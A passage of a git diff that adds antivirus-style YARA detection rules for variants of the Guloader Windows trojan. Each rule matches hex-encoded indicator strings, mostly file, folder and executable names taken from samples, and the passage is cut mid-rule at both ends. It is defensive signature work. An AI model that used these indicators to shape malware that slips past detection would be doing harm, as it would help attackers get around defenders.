2e 73 6f 75 } //1 mystifikationernes.sou + $a_01_6 = {5a 65 72 65 62 61 31 32 2e 74 78 74 } //1 Zereba12.txt + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASN_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASN_MTB.yar new file mode 100644 index 0000000000..aa29e41c15 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_ASN_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_ASN_MTB{ + meta: + description = "Trojan:Win32/Guloader.ASN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {6d 6f 6e 65 79 63 68 61 6e 67 65 72 5c 73 75 62 6d 69 63 72 6f 67 72 61 6d 5c 54 61 69 6c 6f 72 69 73 61 74 69 6f 6e 31 31 37 } //1 moneychanger\submicrogram\Tailorisation117 + $a_81_1 = {52 65 64 75 6b 74 69 6f 6e 65 72 32 31 31 5c 55 6e 69 6e 73 74 61 6c 6c 5c 76 6f 63 61 6c 69 73 74 5c 52 65 67 69 6f 6e 73 70 6c 61 6e 72 65 74 6e 69 6e 67 73 6c 69 6e 6a 65 } //1 Reduktioner211\Uninstall\vocalist\Regionsplanretningslinje + $a_81_2 = {61 6c 6b 61 6c 69 5c 55 6e 69 6e 73 74 61 6c 6c 5c 49 63 6f 6e 69 63 61 6c 6c 79 39 35 } //1 alkali\Uninstall\Iconically95 + $a_81_3 = {49 6d 70 65 72 69 61 6c 69 73 65 73 25 5c 73 71 75 69 62 62 2e 74 78 74 } //1 Imperialises%\squibb.txt + $a_81_4 = {56 72 64 69 73 6b 61 62 65 6e 64 65 33 32 2e 6a 70 67 } //1 Vrdiskabende32.jpg + $a_81_5 = {64 6f 6b 75 6d 65 6e 74 66 61 6c 73 6b 6e 65 72 5c 68 65 6c 74 61 6c 73 76 61 65 72 64 69 65 72 2e 65 78 65 } //1 dokumentfalskner\heltalsvaerdier.exe + $a_81_6 = {73 6b 69 65 67 68 5c 65 6d 70 61 74 68 69 73 65 64 2e 69 6e 69 } //1 skiegh\empathised.ini + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AS_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AS_MTB.yar new file mode 100644 index 0000000000..e39b002740 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_AS_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_AS_MTB{ + meta: + description = "Trojan:Win32/Guloader.AS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {6f 76 65 72 6c 69 62 65 72 61 6c 69 7a 65 64 5c 67 61 65 73 74 66 72 69 5c 61 6e 74 69 67 6f 6e 6f 72 72 68 65 61 6c } //1 overliberalized\gaestfri\antigonorrheal + $a_81_1 = {70 6c 61 73 74 72 65 5c 49 6e 74 65 72 65 73 73 65 73 61 6d 6d 65 6e 66 61 6c 64 65 74 73 2e 69 6e 69 } //1 plastre\Interessesammenfaldets.ini + $a_81_2 = {76 73 65 6e 74 6c 69 67 68 65 64 73 6b 72 69 74 65 72 69 75 6d 2e 74 78 74 } //1 vsentlighedskriterium.txt + $a_81_3 = {41 6e 74 69 6b 76 65 72 65 74 73 31 37 33 5c 44 65 6d 69 75 72 67 69 63 } //1 Antikverets173\Demiurgic + $a_81_4 = {54 68 65 6f 70 68 69 6c 6f 73 6f 70 68 69 63 5c 63 68 69 72 72 75 70 69 6e 67 2e 69 6e 69 } //1 Theophilosophic\chirruping.ini + $a_81_5 = {42 75 66 66 69 6e 67 5c 75 6e 65 78 70 6c 61 69 6e 65 64 2e 68 74 6d } //1 Buffing\unexplained.htm + $a_81_6 = {75 6e 6c 75 62 72 69 63 61 74 69 76 65 2e 74 78 74 } //1 unlubricative.txt + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GOY_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GOY_MTB.yar new file mode 100644 index 0000000000..71ef6781f4 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GOY_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_GOY_MTB{ + meta: + description = "Trojan:Win32/Guloader.GOY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {70 61 73 73 69 62 6c 65 20 6e 6f 6e 63 6f 6e 64 65 73 63 65 6e 64 69 6e 67 6e 65 73 73 20 63 6f 6e 67 61 65 72 6e 65 73 } //1 passible noncondescendingness congaernes + $a_81_1 = {61 66 74 65 72 73 68 61 66 74 20 6f 72 61 63 75 6c 61 74 65 2e 65 78 65 } //1 aftershaft oraculate.exe + $a_81_2 = {66 6f 72 74 6f 6c 6b 6e 69 6e 67 73 72 65 67 65 6c 65 6e 73 } //1 fortolkningsregelens + $a_81_3 = {53 69 6c 69 6b 6f 6e 65 2e 74 72 6b } //1 Silikone.trk + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GOZ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GOZ_MTB.yar new file mode 100644 index 0000000000..d517875d2f --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GOZ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_GOZ_MTB{ + meta: + description = "Trojan:Win32/Guloader.GOZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {74 72 65 76 6c 65 72 73 20 70 69 7a 7a 61 70 61 6b 6b 65 20 67 72 75 6e 64 6b 75 72 73 65 74 73 } //1 trevlers pizzapakke grundkursets + $a_81_1 = {6c 6f 67 65 72 65 64 65 73 20 76 61 72 69 } //1 logeredes vari + $a_81_2 = {73 79 64 6b 6f 72 65 61 6e 65 72 65 6e } //1 sydkoreaneren + $a_81_3 = {4b 6e 73 64 69 73 6b 72 69 6d 69 6e 65 72 65 64 65 73 2e 74 61 6e } //1 Knsdiskrimineredes.tan + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPA_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPA_MTB.yar new file mode 100644 index 0000000000..496293b767 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Guloader_GPA_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {73 70 69 6c 6c 65 6e 65 73 20 63 65 72 61 6d 61 6c } //1 spillenes ceramal + $a_81_1 = {61 61 72 73 74 69 64 65 72 73 20 75 74 6e 6b 65 6c 69 67 } //1 aarstiders utnkelig + $a_81_2 = {76 6d 6d 65 6c 73 65 72 } //1 vmmelser + $a_81_3 = {69 6e 6c 6f 6f 6b 69 6e 67 2e 65 78 65 } //1 inlooking.exe + $a_81_4 = {72 65 6b 72 65 61 74 69 6f 6e 73 68 6a 65 6d 6d 65 6e 65 73 2e 43 68 6f } //1 rekreationshjemmenes.Cho + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPB_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPB_MTB.yar new file mode 100644 index 0000000000..5a9dba33d8 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Guloader_GPB_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {68 75 6c 65 66 6f 72 73 6b 65 72 6e 65 73 20 70 72 65 65 73 73 65 6e 74 69 61 6c 6c 79 } //1 huleforskernes preessentially + $a_81_1 = {6c 69 67 6b 69 73 74 65 6d 61 67 61 73 69 6e 65 74 20 67 69 70 73 64 65 70 6f 6e 65 72 69 6e 67 73 70 6c 61 64 73 65 72 73 } //1 ligkistemagasinet gipsdeponeringspladsers + $a_81_2 = {68 75 72 6c 77 69 6e 64 } //1 hurlwind + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPC_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPC_MTB.yar new file mode 100644 index 0000000000..90ba8b2c5e --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPC_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_GPC_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {6c 65 61 72 79 } //1 leary + $a_81_1 = {66 69 6e 70 75 64 73 65 6e 64 65 73 } //1 finpudsendes + $a_81_2 = {6c 61 67 65 72 70 6c 61 64 73 62 65 68 6f 76 65 6e 65 73 20 75 6d 65 64 67 72 6c 69 67 } //1 lagerpladsbehovenes umedgrlig + $a_81_3 = {61 6d 65 62 61 20 70 6c 75 6d 70 73 20 68 69 6e 61 6e 64 65 6e 73 } //1 ameba plumps hinandens + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPD_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPD_MTB.yar new file mode 100644 index 0000000000..55fe6b0a10 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPD_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Guloader_GPD_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {70 69 6e 6e 75 6c 65 20 6f 62 6c 69 67 61 74 69 6f 6e 73 72 65 6e 74 65 72 6e 65 73 } //1 pinnule obligationsrenternes + $a_81_1 = {70 69 6d 70 6c 65 64 20 76 69 73 75 61 6c 69 73 65 20 64 6f 6b 75 6d 65 6e 74 68 61 61 6e 64 74 65 72 69 6e 67 } //1 pimpled visualise dokumenthaandtering + $a_81_2 = {73 6c 6f 74 65 2e 65 78 65 } //1 slote.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPE_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPE_MTB.yar new file mode 100644 index 0000000000..3af3a23518 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_GPE_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {75 6e 69 6f 6e 65 72 6e 65 } //1 unionerne + $a_81_1 = {6f 76 65 72 67 61 61 65 74 20 63 79 74 6f 73 74 72 6f 6d 61 2e 65 78 65 } //1 overgaaet cytostroma.exe + $a_81_2 = {67 73 72 6d 65 72 52 69 63 68 73 6d 65 72 } //1 gsrmerRichsmer + $a_81_3 = {64 73 7c 6d 65 72 73 6d 64 72 } //1 ds|mersmdr + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPF_MTB.yar new file mode 100644 index 0000000000..c47fb56de8 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPF_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_GPF_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {67 65 72 6d 6c 69 6e 67 } //1 germling + $a_81_1 = {70 61 75 6c 65 74 74 65 } //1 paulette + $a_81_2 = {72 61 6f 75 6c 69 61 20 67 77 65 64 75 63 6b 73 20 75 64 64 79 62 65 74 } //1 raoulia gweducks uddybet + $a_81_3 = {61 74 6f 6d 66 6f 72 73 67 73 73 74 61 74 69 6f 6e 2e 65 78 65 } //1 atomforsgsstation.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPG_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPG_MTB.yar new file mode 100644 index 0000000000..8a42ec61a5 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPG_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Guloader_GPG_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_81_0 = {62 6f 67 66 65 72 6e } //1 bogfern + $a_81_1 = {73 61 6c 61 74 64 72 65 73 73 69 6e 67 65 72 20 69 6e 74 65 72 72 65 61 63 74 20 6b 69 63 6b 61 } //1 salatdressinger interreact kicka + $a_81_2 = {61 6c 6b 79 6e 65 73 20 64 65 6d 69 73 73 69 6f 6e 65 72 65 73 2e 65 78 65 } //1 alkynes demissioneres.exe + $a_81_3 = {6d 65 64 76 69 64 65 6e 64 65 20 74 65 72 6d 69 6e 61 6c 66 61 63 69 6c 69 74 65 74 } //1 medvidende terminalfacilitet + $a_81_4 = {66 6f 72 73 74 61 6e 64 65 72 69 6e 64 65 20 73 74 61 62 69 6c 65 } //1 forstanderinde stabile + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPH_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPH_MTB.yar new file mode 100644 index 0000000000..e3a2c53fe9 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPH_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Guloader_GPH_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {76 61 73 73 61 6c 72 79 20 6c 69 64 65 6e 73 6b 61 62 73 6c 73 } //1 vassalry lidenskabsls + $a_81_1 = {64 69 73 73 65 6b 65 72 69 6e 67 65 72 20 61 63 68 65 72 6f 6e 74 69 63 20 67 75 74 74 79 } //1 dissekeringer acherontic gutty + $a_81_2 = {67 6c 79 70 74 69 63 69 61 6e 20 73 74 72 61 79 73 } //1 glyptician strays + $a_81_3 = {75 6e 76 69 76 69 64 6e 65 73 73 20 72 65 6e 65 73 74 65 20 6e 73 73 65 6e 65 } //1 unvividness reneste nssene + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPI_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPI_MTB.yar new file mode 100644 index 0000000000..06b4b2cec5 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_GPI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Guloader_GPI_MTB{ + meta: + description = "Trojan:Win32/Guloader.GPI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {72 6f 65 73 20 73 75 62 74 72 61 68 65 72 65 64 65 20 66 6c 6f 63 6b 73 } //1 roes subtraherede flocks + $a_81_1 = {75 6e 63 6f 72 6f 6e 65 74 65 64 20 70 75 6c 6c 6f 75 74 2e 65 78 65 } //1 uncoroneted pullout.exe + $a_81_2 = {75 6e 63 6f 6d 70 61 73 73 65 64 20 61 6e 6b 6c 65 74 } //1 uncompassed anklet + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWG_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWG_MTB.yar new file mode 100644 index 0000000000..ca4c502dd9 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWG_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_LWG_MTB{ + meta: + description = "Trojan:Win32/Guloader.LWG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {43 6f 65 6c 74 65 72 61 2e 65 6e 68 } //1 Coeltera.enh + $a_81_1 = {66 65 6d 74 65 6e 61 61 72 73 66 64 73 65 6c 73 64 61 67 65 73 2e 74 78 74 } //1 femtenaarsfdselsdages.txt + $a_81_2 = {67 6f 6f 73 65 73 6b 69 6e 2e 74 72 61 } //1 gooseskin.tra + $a_81_3 = {42 72 73 6d 61 74 61 64 6f 72 31 31 33 2e 64 65 6e } //1 Brsmatador113.den + $a_81_4 = {66 72 65 69 6c 65 76 20 62 6e 64 65 72 67 61 61 72 64 65 6e 65 2e 65 78 65 } //1 freilev bndergaardene.exe + $a_81_5 = {6d 61 6b 61 72 6f 6e 69 65 72 73 20 70 6f 73 65 72 65 } //1 makaroniers posere + $a_81_6 = {6e 6f 6e 61 6c 69 65 6e 61 74 69 6f 6e 20 62 61 6c 64 6f 72 20 73 65 6d 69 63 79 6c 69 6e 64 72 69 63 } //1 nonalienation baldor semicylindric + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWH_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWH_MTB.yar new file mode 100644 index 0000000000..b5d2149f2c --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWH_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win32_Guloader_LWH_MTB{ + meta: + description = "Trojan:Win32/Guloader.LWH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 00 " + + strings : + $a_81_0 = {66 6f 72 73 6b 65 72 67 72 75 70 70 65 73 2e 76 61 72 } //1 forskergruppes.var + $a_81_1 = {6c 65 64 65 74 65 6b 73 74 65 72 73 2e 70 61 72 } //1 ledeteksters.par + $a_81_2 = {73 70 6f 72 65 73 2e 73 61 76 } //1 spores.sav + $a_81_3 = {55 6e 61 72 67 75 61 62 6c 65 2e 6f 63 65 } //1 Unarguable.oce + $a_81_4 = {61 72 74 65 72 69 6f 6c 65 2e 66 6f 72 } //1 arteriole.for + $a_81_5 = {73 6b 61 62 73 64 72 65 6e 65 73 20 66 69 6c 6f 73 } //1 skabsdrenes filos + $a_81_6 = {68 69 6c 64 65 62 72 61 6e 64 73 2e 65 78 65 } //1 hildebrands.exe + $a_81_7 = {73 65 6e 69 6c 69 74 65 74 65 6e } //1 seniliteten + $a_81_8 = {73 69 62 65 20 70 68 79 6c 6c 6f 70 6f 64 69 75 6d 20 75 6c 74 72 61 73 74 72 69 63 74 } //1 sibe phyllopodium ultrastrict + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWQ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWQ_MTB.yar new file mode 100644 index 0000000000..c67bb356b3 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWQ_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Guloader_LWQ_MTB{ + meta: + description = "Trojan:Win32/Guloader.LWQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {62 72 74 73 65 6a 6c 61 64 73 2e 66 69 63 } //1 brtsejlads.fic + $a_81_1 = {6d 65 74 65 6d 70 73 79 63 68 6f 73 69 7a 65 2e 63 6f 74 } //1 metempsychosize.cot + $a_81_2 = {65 6b 73 61 6d 69 6e 61 74 6f 72 73 20 61 75 74 6f 72 69 74 61 74 69 76 65 72 65 20 6d 69 6e 6f 6e 61 } //1 eksaminators autoritativere minona + $a_81_3 = {6d 69 6e 69 73 75 72 76 65 79 73 2e 65 78 65 } //1 minisurveys.exe + $a_81_4 = {6b 62 73 74 61 64 62 6f 65 72 73 20 74 69 6c 6d 61 61 6c 69 6e 67 20 68 6f 6e 6f 72 72 } //1 kbstadboers tilmaaling honorr + $a_81_5 = {6b 6f 6e 74 72 61 64 69 6b 74 69 6f 6e 65 72 73 20 6d 65 72 63 75 72 69 61 6c 69 74 79 20 63 61 74 65 63 68 69 73 74 73 } //1 kontradiktioners mercuriality catechists + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWR_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWR_MTB.yar new file mode 100644 index 0000000000..71e2b81aa1 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWR_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Guloader_LWR_MTB{ + meta: + description = "Trojan:Win32/Guloader.LWR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {69 73 6f 74 72 69 6d 6f 72 70 68 69 63 2e 74 61 6d } //1 isotrimorphic.tam + $a_81_1 = {6f 61 72 6c 6f 63 6b 2e 66 6f 64 } //1 oarlock.fod + $a_81_2 = {64 69 67 74 73 61 6d 6c 69 6e 67 65 72 2e 6f 76 65 } //1 digtsamlinger.ove + $a_81_3 = {72 6f 74 74 65 66 6c 64 65 2e 66 6c 61 } //1 rotteflde.fla + $a_81_4 = {6d 6f 6e 61 72 63 68 69 63 20 6a 6f 6d 66 72 75 74 61 6c 65 72 20 74 6f 77 65 72 77 6f 72 74 } //1 monarchic jomfrutaler towerwort + $a_81_5 = {63 6f 63 61 69 6e 69 73 65 64 20 62 6c 65 73 73 65 64 65 73 74 } //1 cocainised blessedest + $a_81_6 = {63 68 61 72 6c 61 74 61 6e 65 72 69 65 72 73 } //1 charlataneriers + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWS_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWS_MTB.yar new file mode 100644 index 0000000000..4b2aebb440 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWS_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Guloader_LWS_MTB{ + meta: + description = "Trojan:Win32/Guloader.LWS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {61 66 66 72 64 69 67 65 6c 73 65 72 73 2e 74 6f 70 } //1 affrdigelsers.top + $a_81_1 = {71 75 69 6e 6f 76 69 63 2e 70 61 61 } //1 quinovic.paa + $a_81_2 = {73 61 6c 74 6c 61 67 65 73 2e 64 61 67 } //1 saltlages.dag + $a_81_3 = {56 61 6c 69 64 61 74 69 6e 67 32 33 30 2e 74 69 6c } //1 Validating230.til + $a_81_4 = {61 6b 74 69 76 65 72 69 6e 67 65 72 6e 65 73 } //1 aktiveringernes + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWZ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWZ_MTB.yar new file mode 100644 index 0000000000..d159033653 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LWZ_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_Guloader_LWZ_MTB{ + meta: + description = "Trojan:Win32/Guloader.LWZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_81_0 = {55 6e 64 65 72 65 73 74 69 6d 61 74 65 73 2e 73 75 62 } //1 Underestimates.sub + $a_81_1 = {64 69 6e 69 74 72 6f 70 68 65 6e 79 6c 68 79 64 72 61 7a 69 6e 65 2e 69 6e 64 } //1 dinitrophenylhydrazine.ind + $a_81_2 = {6d 61 67 6e 65 74 6a 65 72 6e 73 74 65 6e 73 2e 74 78 74 } //1 magnetjernstens.txt + $a_81_3 = {70 6c 61 64 73 68 6f 6c 64 65 72 66 65 6c 74 65 74 2e 61 75 72 } //1 pladsholderfeltet.aur + $a_81_4 = {70 72 69 6e 74 70 72 6f 62 6c 65 6d 65 72 2e 72 6f 6e } //1 printproblemer.ron + $a_81_5 = {75 6e 72 65 73 69 64 65 6e 74 69 61 6c 20 62 72 61 74 73 63 68 6e 67 6c 65 6e 73 } //1 unresidential bratschnglens + $a_81_6 = {70 72 65 6c 6f 63 61 74 65 20 6e 61 70 68 74 68 61 6e 74 68 72 61 63 65 6e 65 } //1 prelocate naphthanthracene + $a_81_7 = {72 61 67 65 64 65 20 61 65 72 6f 66 72 61 6d 65 73 } //1 ragede aeroframes + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXC_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXC_MTB.yar new file mode 100644 index 0000000000..efbf68eb3b --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_Guloader_LXC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Guloader_LXC_MTB{ + meta: + description = "Trojan:Win32/Guloader.LXC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {4e 61 73 65 62 65 72 72 79 2e 66 69 6e } //1 Naseberry.fin + $a_81_1 = {62 72 75 73 68 6e 65 2e 62 72 6f } //1 brushne.bro + $a_81_2 = {70 69 63 63 6f 6c 6f 65 72 6e 65 73 2e 65 6e 65 } //1 piccoloernes.ene + $a_81_3 = {70 6f 6c 79 62 72 69 64 2e 69 6e 64 } //1 polybrid.ind + $a_81_4 = {5c 63 68 61 75 73 73 65 62 72 6f 6c 67 6e 69 6e 67 65 72 6e 65 73 5c 70 72 6f 76 65 